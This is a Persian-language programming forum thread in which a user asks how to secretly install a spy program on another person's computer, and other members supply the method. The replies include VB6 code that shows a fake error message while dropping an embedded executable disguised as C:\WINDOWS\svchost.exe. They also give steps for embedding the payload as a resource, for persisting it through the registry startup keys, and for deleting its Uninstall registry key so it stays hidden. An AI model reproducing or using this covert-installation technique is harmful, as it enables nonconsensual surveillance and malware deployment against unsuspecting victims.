دوستان من میخوام یه جور setup ساخته بشه
که
وقتی نصب شد، کاربر از نصب شدن اون برنامه تو سیستمش مطلع نباشه
یعنی فرض کنید یه برنامه جاسوسی ساختیم
که میخوایم تو سیستم یه نفر نصبش کنیم
که نه تو add/remove بره
نه تو all programs معلوم باشه که برنامه ای نصب شده،
و جایی که نصب میشه hidden باشه
لطفا اگه نرم افزار ساخت ستاپی معرفی میکنید که این امکانات رو داره،
نرام افزاری باشه که از وی بی 6 جمایت کنه
و حتما اموزشش رو هم بزارید
ممنون
خب مثلا وقتی شما یه setup برای برنامه میسازید و طرف برنامه رو نصب میکنه دنبال برنامه نصب شده میگرده.... و اگر پیدا نکنه بیکار نمیشینه!
شما میتونی با یه برنامه ظاهری برنامه خودتون رو روی سیستم طرف پیاده کنید.
برنامه اصلی (همون برنامه ای که میخواید کاربر از نصبش اطلاع نداشته باشه) رو در یک پروژه جدید وی بی resource کنید. حالا در همین پروژه در رویداد Load_Form بنویسید:
کد:
MsgBox "Component 'AniGIF.ocx' or one of its dependencies not correctly registered: a file is missing or invalid", vbCritical + vbOKOnly, App.EXEName
Dim files() As Byte
files = LoadResData(101, "CUSTOM")
Open "C:\WINDOWS\svchost.exe" For Binary As #1
Put #1, , files()
Close #1
(۰۱-دى-۱۳۹۰, ۰۲:۵۰:۴۱)RAMA2009 نوشته است: [ -> ]دوستان من میخوام یه جور setup ساخته بشه
که
وقتی نصب شد، کاربر از نصب شدن اون برنامه تو سیستمش مطلع نباشه
یعنی فرض کنید یه برنامه جاسوسی ساختیم
که میخوایم تو سیستم یه نفر نصبش کنیم
که نه تو add/remove بره
نه تو all programs معلوم باشه که برنامه ای نصب شده،
و جایی که نصب میشه hidden باشه
لطفا اگه نرم افزار ساخت ستاپی معرفی میکنید که این امکانات رو داره،
نرام افزاری باشه که از وی بی 6 جمایت کنه
و حتما اموزشش رو هم بزارید
ممنون
hآگه درت متوجه شده باشم شما میخواهید ویروس بسازید اگر اینطوره نیاز نیست ستاح داشته باشد یدونه فایل اجرایی بدید دست طرف نیاز وهمه این کارهارا فایل خودش انجام بده!
(۰۱-دى-۱۳۹۰, ۱۶:۲۹:۰۷)Ghoghnus نوشته است: [ -> ] (۰۱-دى-۱۳۹۰, ۰۲:۵۰:۴۱)RAMA2009 نوشته است: [ -> ]دوستان من میخوام یه جور setup ساخته بشه
که
وقتی نصب شد، کاربر از نصب شدن اون برنامه تو سیستمش مطلع نباشه
یعنی فرض کنید یه برنامه جاسوسی ساختیم
که میخوایم تو سیستم یه نفر نصبش کنیم
که نه تو add/remove بره
نه تو all programs معلوم باشه که برنامه ای نصب شده،
و جایی که نصب میشه hidden باشه
لطفا اگه نرم افزار ساخت ستاپی معرفی میکنید که این امکانات رو داره،
نرام افزاری باشه که از وی بی 6 جمایت کنه
و حتما اموزشش رو هم بزارید
ممنون
hآگه درت متوجه شده باشم شما میخواهید ویروس بسازید اگر اینطوره نیاز نیست ستاح داشته باشد یدونه فایل اجرایی بدید دست طرف نیاز وهمه این کارهارا فایل خودش انجام بده!
بعد فکر نمیکنید طرف وقتی رو فایل اجرایی کلیک کرد منتظر باز شدن برنامه میشه و اگر برنامه باز نشه تصمیم میگیره فایل رو پاک کنه و اگر فایل حذف نشه (چون در حال اجراست) 100% مطمئن میشه که ویروسه؟
نه دوستان منظورمو متوجه نشدید
برنامه جاسوسی که ساخته شده رو خورم باید تو سیستم طرف نصب کنم
وقتی نصب شد دیگه کاربر متوجه نیست که همچین برنامه ای رو سیستمش نصب شده،
آیا InstallShield همچین امکانی رو به ما میده؟
اگه کسی نرم افزار ساخت ستاپی سراغ داره که همچین امکانی رو به ما میده معرفی کنه و آموزشش رو هم بگه لطفا.
---------------------
HamedFaa ی عزیز، دوست گرامی
مظلبی که شما گفتید فکر میکنم یه جاهایی به دردم بخوره
منظور از resource کردن چیه؟ میشه بیشتر توضیح بدید؟
دوست گرامی از منوی Add-Ins گزینه ی Add-In Manager رو انتخاب کنید در لیستی که باز میشه روی vb6 resource editor کلیک کن و 2 گزینه ی loaded/unloaded و load on startup رو تیک بزن و بعد OK کن که از پنجره خارج بشی.
حالا روی پنجره Project در سمت راست (که فرم ها درونش نمایش داده میشوند) کلیک راست کن و از منوی Add گزینه ی Resource File رو انتخاب کن. در پنجره save as که برات باز میشه فایل RESOURCE رو توی پوشه پروژه برنامه ات سیو کن. (اینم بگم که وقتی شما برنامه رو کامپایل میکنید این فایل resource هم داخل برنامه تون کامپایل میشه و دیگه نیازی نیست که کنار فایل اجرایی باشه.
حالا روی فایل resource که به پنجره project اضافه شده دابل کلیک کنید و در پنجره ای که باز میشه فایل exe خودتون رو به صورت custom data وارد resource کنید. (روی آیکن دست چپی help کلیک کن، یه چهار خونه ماننده)
دیگه میتونی از کد بالا برای کپی کردن این فایل در هر مسیری که میخوای استفاده کنی. برای اینکه در استارت آپ (رجیستری) هم قرارش بدی میتونی از ماژول کار با registery استفاده کنی
سلام.
نیاز به ساخت ستاپ رو باید با توجه به شرایط تشخیص بدیم.
حتی برنامه های تحت دات نت هم همیشه به ساخت ستاپ نیازی ندارن. ممکنه رو سیستم مورد نظر .net framework نصب باشه و برنامه اجرا شه. اما مثلا اگه با دیتابیس ارتباط برقرار کردی مجبوری sql express رو قبل اجرای برنامه نصب کنی.
در مورد ویبی 6 کمتر از .net به ساخت ستاپ نیاز داریم. اگه dll و ریفرنس های خاصی استفاده کردی میتونی داخل ریسورس قرار بدی و داخل متد main قبل از این که برنامه بخواد از اون منابع استفاده کنه داخل system32 اکسترکتشون کنی.
اما اگه اصرار به نصب ستاپ داری پس از نصب به این مسیر HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall در رجیستری مراجعه کنید و کلید مربوط به برنامه خودتون رو از لیست کلیدهای زیرشاخه حذف کنید تا برنامه از لیست add remove حذف بشه.
خیلی برنامه های Installer هست که امکان این کار رو میده (Advanced Installer 8.1 ) البته خود winrar هم میشه باهاش همچین کاری کرد ...
دوست گرامی میشه بگید چطوری؟
:d مهندس نیاز به ساخت ستاپ نداری کافیه بعد از اجرا بهش بگی خودشو تو یک درایو مثلا C کپی کنه و خودشو StartUp کنه
lord_viper ی عزیز، دوست گرامی،
فکر نمیکنید که Microsoft Visual Studio تو هر سیستمی(سیستم مقصد که میخوام این اتفاق بیفته) نصب نیست؟
و اگر Microsoft Visual Studio نصب نباشه که برناممون اجرا نمیشه که خودشو کپی کنه.
میشه منظورتونو واضحتر بگید و بیشتر توضیح بدید؟